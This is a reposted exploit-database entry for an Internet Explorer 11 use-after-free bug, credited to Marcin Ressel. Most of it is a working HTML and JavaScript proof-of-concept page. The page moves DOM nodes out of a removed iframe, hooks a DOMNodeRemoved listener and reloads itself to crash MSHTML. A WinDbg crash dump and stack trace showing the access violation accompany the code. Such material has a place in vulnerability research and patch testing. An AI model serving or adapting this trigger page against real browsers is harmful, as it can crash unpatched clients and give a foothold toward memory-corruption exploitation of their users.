Microsoft Internet Explorer 11.0.9600.18482

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Microsoft Internet Explorer 11.0.9600.18482 - Use After Free

来源：vfocus.net 作者：Ressel 发布时间：2016-09-14

<!DOCTYPE html>
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8">
<meta http-equiv="Expires" content="0" />
<meta http-equiv="Cache-Control" content="no-store, no-cache, must-revalidate" />
<meta http-equiv="Cache-Control" content="post-check=0, pre-check=0" />
<meta http-equiv="Pragma" content="no-cache" />
<style type="text/css">
   body{
        background-color:lime;
        font-color:red;
   };
</style>
<script type='text/javascript'></script>
<script type="text/javascript" language="JavaScript">
/*
    # Exploit Title: Internet Explorer 11 Use After Free
    # Date: 05/09/2016 - 11/09/2016
    # Exploit Author: Marcin Ressel
    # Vendor Homepage: https://www.microsoft.com/pl-pl/
    # Version: 11.0.9600.18482
    # Tested on: Windows 7 (x64)

    ######################################################################################

     0:014> g
     (13a8.9b8): Access violation - code c0000005 (!!! second chance !!!)
      eax=2f66abb0 ebx=00000001 ecx=2fbc8f08 edx=7ef8d000 esi=2fbc8f08 edi=2fbc8f08
      eip=6d754a45 esp=1feac660 ebp=1feac674 iopl=0         nv up ei pl nz na po nc
      cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b             efl=00010202
      MSHTML!CElement::SecurityContext+0x25:
      6d754a45 8b80b8000000    mov     eax,dword ptr [eax+0B8h] ds:002b:2f66ac68=????????
      0:014> d @eax
      2f66abb0 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
      2f66abc0 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
      2f66abd0 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
      2f66abe0 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
      2f66abf0 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
      2f66ac00 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
      2f66ac10 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
      2f66ac20 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
      0:014> kb
      ChildEBP RetAddr Args to Child
      1feac660 6d5e7c69 6d5e7500 1feac690 2fbc8f08 MSHTML!CElement::SecurityContext+0x25
      1feac674 6d5e75cf 2fbc8f08 2fbc8f08 2fbc8f08 MSHTML!CMediaElement::RemoveFromPlayToElementTracker+0x1d
      1feac688 6d5e7bee 1feac6a0 6d5e7bd0 00000004 MSHTML!CMediaElement::Shutdown+0xdc
      1feac698 6d5e7b1c 48cfae30 50d00bb0 4542dbd0 MSHTML!CMediaElement::OnMarkupTearDown+0x1e
      1feac6c4 6d3b23dc 00000000 4542dbd0 50d00bb0 MSHTML!CMarkup::InvokeMarkupTearDownCallbacks+0xc0
      1feac6d8 6d3b22c9 00000001 00000001 341a8bb0 MSHTML!CMarkup::TearDownMarkupHelper+0xe4
      1feac700 6d3adf1f 00000001 00000001 1feac7d0 MSHTML!CMarkup::TearDownMarkup+0x58
      1feac7b0 6dae9665 341a8bb0 00000000 00000000 MSHTML!COmWindowProxy::SwitchMarkup+0x4eb
      1feac894 6dae97e3 00005004 ffffffff 00000000 MSHTML!COmWindowProxy::ExecRefresh+0xa1c
      1feac8a8 6d0d763b 457f1f68 00005004 00000001 MSHTML!COmWindowProxy::ExecRefreshCallback+0x23
      1feac8f0 6d0cd4e2 91c55b56 00000000 6d0cc800 MSHTML!GlobalWndOnMethodCall+0x17b
      1feac944 76b862fa 001401c6 00008002 00000000 MSHTML!GlobalWndProc+0x103
      1feac970 76b86d3a 6d0cc800 001401c6 00008002 user32!InternalCallWinProc+0x23
      1feac9e8 76b877d3 00000000 6d0cc800 001401c6 user32!UserCallWinProcCheckWow+0x109
      1feaca4c 76b8789a 6d0cc800 00000000 1feafc28 user32!DispatchMessageWorker+0x3cb
      1feaca5c 6e5fa8ac 1feaca9c 62382e48 2efb2fe0 user32!DispatchMessageW+0xf
      1feafc28 6e620e88 1feafcf4 6e620b00 5cba2ff0 IEFRAME!CTabWindow::_TabWindowThreadProc+0x464
      1feafce8 74e4ad3c 62382e48 1feafd0c 6e614b00 IEFRAME!LCIETab_ThreadProc+0x3e7
      1feafd00 6e593a31 5cba2ff0 00000000 6e5939a0 iertutil!_IsoThreadProc_WrapperToReleaseScope+0x1c
      1feafd38 6fae9608 4b3b6fe8 705e0368 00000000 IEShims!NS_CreateThread::DesktopIE_ThreadProc+0x94

      ############################################################################################
*/

            var doc;
            var trg, trg_parent;
            function testcase()
            {
                var e1_frame = document.getElementById("e1");
                doc = document;

                e = e1_frame.contentWindow.document.createElement("hr");
                rf = doc.body.appendChild(e);

                e = e1_frame.contentWindow.document.createElement("audio");
                rf = doc.body.appendChild(e);

                dom = doc.getElementsByTagName("*");
                document.getElementById("e1").removeNode(true);
                trg = dom[14];
                trg_parent = doc.body;

                trg.addEventListener('DOMNodeRemoved',
                                     new Function('',
                                                  //'try{trg.removeEventListener("DOMNodeRemoved",this,false);}catch(e){}'+
                                                  'try{trg.appendChild(document.createElement("feOffset")).removeNode(false).ATTRIBUTE_NODE = "false";}catch(e){}'+
                                                  'try{trg_parent = trg.cloneNode(true);}catch(e){}'//+
                                                // 'try{doc = document.implementation.createDocument("about:blank","","text/html");}catch(e){}'
                                                 ),
                                    false);
                trg_parent.innerHTML = trg.innerHTML;
                //CollectGarbage();
                //trg.innerHTML = "<h1></h1>"
                setTimeout('location.reload();',700);
            }
        </script>
<title>Use After Free</title>
</head>
<body onload='testcase();'>
   <iframe></iframe><iframe src='about:blank' id='e1'></iframe>
</body>
</html>
</html>

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